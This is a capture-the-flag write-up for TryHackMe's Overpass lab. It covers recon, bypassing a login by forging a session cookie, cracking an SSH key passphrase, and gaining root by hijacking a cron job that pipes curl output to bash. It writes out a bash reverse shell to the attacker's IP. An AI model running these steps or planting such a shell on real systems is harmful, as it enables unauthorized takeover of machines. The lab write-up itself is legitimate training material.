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TryHackMe/Overpass.md
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# TryHackMe-Overpass
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## NMAP
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```
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nmap -sC -sV 10.10.124.118
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Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-10 22:35 PKT
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Nmap scan report for 10.10.124.118
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Host is up (0.18s latency).
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Not shown: 998 closed ports
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PORT STATE SERVICE VERSION
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22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
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| ssh-hostkey:
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| 2048 37:96:85:98:d1:00:9c:14:63:d9:b0:34:75:b1:f9:57 (RSA)
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| 256 53:75:fa:c0:65:da:dd:b1:e8:dd:40:b8:f6:82:39:24 (ECDSA)
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|_ 256 1c:4a:da:1f:36:54:6d:a6:c6:17:00:27:2e:67:75:9c (ED25519)
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80/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
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|_http-title: Overpass
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Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
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```
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## PORT 80
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<img src="https://imgur.com/xcyfMJ0.png"/>
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<img src="https://imgur.com/BulGTu9.png"/>
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Download the file to see what's in it.
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<img src="https://imgur.com/AvTo4vg.png"/>
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There's also a source code in`golang` let's see maybe we can find something it in so we can exploit that binary.
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<img src="https://imgur.com/HTCFWVM.png"/>
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## Gobuster
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```
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root@kali:~/TryHackMe/Easy/Overpass# gobuster dir -u http://10.10.124.118 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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===============================================================
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Gobuster v3.0.1
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by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
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===============================================================
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[+] Url: http://10.10.124.118
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[+] Threads: 10
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[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
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[+] Status codes: 200,204,301,302,307,401,403
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[+] User Agent: gobuster/3.0.1
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[+] Timeout: 10s
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===============================================================
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2020/11/10 22:50:19 Starting gobuster
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===============================================================
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/img (Status: 301)
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/downloads (Status: 301)
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/aboutus (Status: 301)
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/admin (Status: 301)
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/css (Status: 301)
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```
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We see that there's an `/admin` page
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<img src="https://imgur.com/fpxT1P0.png"/>
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Looking at the source we can see 3 javascript files , we are interested in `login.js` so let's view the source code
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<img src="https://imgur.com/fJJxGie.png"/>
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This is a vulnerabale piece of code that would make authenticate a user with invalid crdentials if he has a session so let's make a fake `SessionToken` with a browser extension named `EditThisCookie`
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<img src="https://imgur.com/QUvzdrS.png"/>
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On refreshing the page we will get the ssh key for `james`
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<img src="https://imgur.com/YkdknxT.png"/>
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But it's asking for the passphrase of `id_rsa` so we can get the hash of `id_rsa` with `ssh2john` and crack it with `johntheripper`
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```
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root@kali:~/TryHackMe/Easy/Overpass# /usr/share/john/ssh2john.py id_rsa > ssh_hash
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root@kali:~/TryHackMe/Easy/Overpass# john --wordlist=/usr/share/wordlists/rockyou.txt ssh_hash
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Using default input encoding: UTF-8
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Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64])
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Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
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Cost 2 (iteration count) is 1 for all loaded hashes
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Will run 4 OpenMP threads
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Note: This format may emit false positives, so it will keep trying even after
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finding a possible candidate.
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Press 'q' or Ctrl-C to abort, almost any other key for status
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james13 (id_rsa)
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1g 0:00:00:03 31.13% (ETA: 20:37:40) 0.3125g/s 1444Kp/s 1444Kc/s 1444KC/s play646..play47
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Session aborted
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```
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Then `ssh james@<ip> -i id_rsa`
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<img src="https://imgur.com/vZId0He.png"/>
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## Privilege Escalation
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Host `linpeas.sh` on local machine and transfer it to target machine
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<img src="https://imgur.com/uc27Vj1.png"/>
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I didn't find anythin with linpeas so next thing that I looked at was a file `.overpass` in `james`'s home directroy , reading the content of the file it was gibberish
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`,LQ?2>6QiQ$JDE6>Q[QA2DDQiQD2J5C2H?=J:?8A:4EFC6QN.`
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I visited https://gchq.github.io/CyberChef/
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<img src="https://imgur.com/FKVZOP5.png"/>
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This password is for `james` but still he is not in group `sudoers`
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<img src="https://imgur.com/hSCBu72.png"/>
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That was a rabbit hole then check for cronjobs
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```
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james@overpass-prod:~$ cat /etc/crontab
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# /etc/crontab: system-wide crontab
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# Unlike any other crontab you don't have to run the `crontab'
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# command to install the new version when you edit this file
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# and files in /etc/cron.d. These files also have username fields,
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# that none of the other crontabs do.
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SHELL=/bin/sh
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PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
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# m h dom mon dow user command
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17 * * * * root cd / && run-parts --report /etc/cron.hourly
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25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
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47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
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52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
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# Update builds from latest code
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* * * * * root curl overpass.thm/downloads/src/buildscript.sh | bash
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james@overpass-prod:~$
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```
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looking at `/etc/hosts` we can change this localhost to our local machine's address and add a reverse shell in bash with path `<our_vpn_ip>/downloads/src/buildscript.sh`
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```
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james@overpass-prod:~$ cat /etc/hosts
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127.0.0.1 localhost
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127.0.1.1 overpass-prod
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127.0.0.1 overpass.thm
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# The following lines are desirable for IPv6 capable hosts
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::1 ip6-localhost ip6-loopback
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fe00::0 ip6-localnet
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ff00::0 ip6-mcastprefix
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ff02::1 ip6-allnodes
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ff02::2 ip6-allrouters
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james@overpass-prod:~$
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```
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Now making directory `/downloads/src/buildscript.sh`
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```
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root@kali:~/TryHackMe/Easy/Overpass# mkdir downloads
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root@kali:~/TryHackMe/Easy/Overpass# cd downloads/
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root@kali:~/TryHackMe/Easy/Overpass/downloads# mkdir src
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root@kali:~/TryHackMe/Easy/Overpass/downloads# echo "bash -i >& /dev/tcp/10.14.3.143/8080 0>&1" > buildscript.sh
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root@kali:~/TryHackMe/Easy/Overpass/downloads# chmod +x buildscript.sh
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```
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<img src="https://imgur.com/XDMf6VA.png"/>
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And just like that we will get the reverse shell as `root` !
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